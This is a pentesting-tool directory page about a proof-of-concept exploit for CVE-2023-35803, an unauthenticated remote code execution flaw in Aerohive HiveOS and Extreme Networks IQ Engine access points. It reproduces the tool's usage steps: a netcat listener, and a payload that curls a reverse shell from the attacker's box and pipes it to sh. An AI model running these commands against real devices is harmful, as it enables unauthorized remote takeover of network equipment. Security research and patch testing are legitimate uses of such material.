Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Tool Directory

Categories

View all categories

Loading categories

CVE-2023-35803 — PoC exploit for CVE-2023-35803 unauthenticated buffer overflow in Aerohive HiveOS/Extreme Networks IQ Engine, enabling remote code execution on ARM-based wireless access points. | Kitploit

Tools/

GitHub/lachlan2k/cve-2023-35803

IoT Security Vulnerability Analysis Exploitation Web Application Exploitation Wireless Security Penetration Testing

lachlan2k/cve-2023-35803

CVE-2023-35803

PoC exploit for CVE-2023-35803 unauthenticated buffer overflow in Aerohive HiveOS/Extreme Networks IQ Engine, enabling remote code execution on ARM-based wireless access points.

View Repository

23533 years ago

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

Website

CVE-2023-35803 - Unauthenticated RCE in Extreme Networks/Aerohive Wireless Access Points

PoC for ARM-based access points running HiveOS/IQ Engine <10.6r2.

Edit revshell to point to your shell catcher IP/port
Host the reverse shell: python3 -m http.server
Open a shell catcher: nc -lvnp 1337
Run the POC (may take a few minutes): python3 poc.py <ip of ap> "curl <ip of attack box>:8000/revshell|sh"

Writeup here: https://research.aurainfosec.io/pentest/bee-yond-capacity/

Download Tool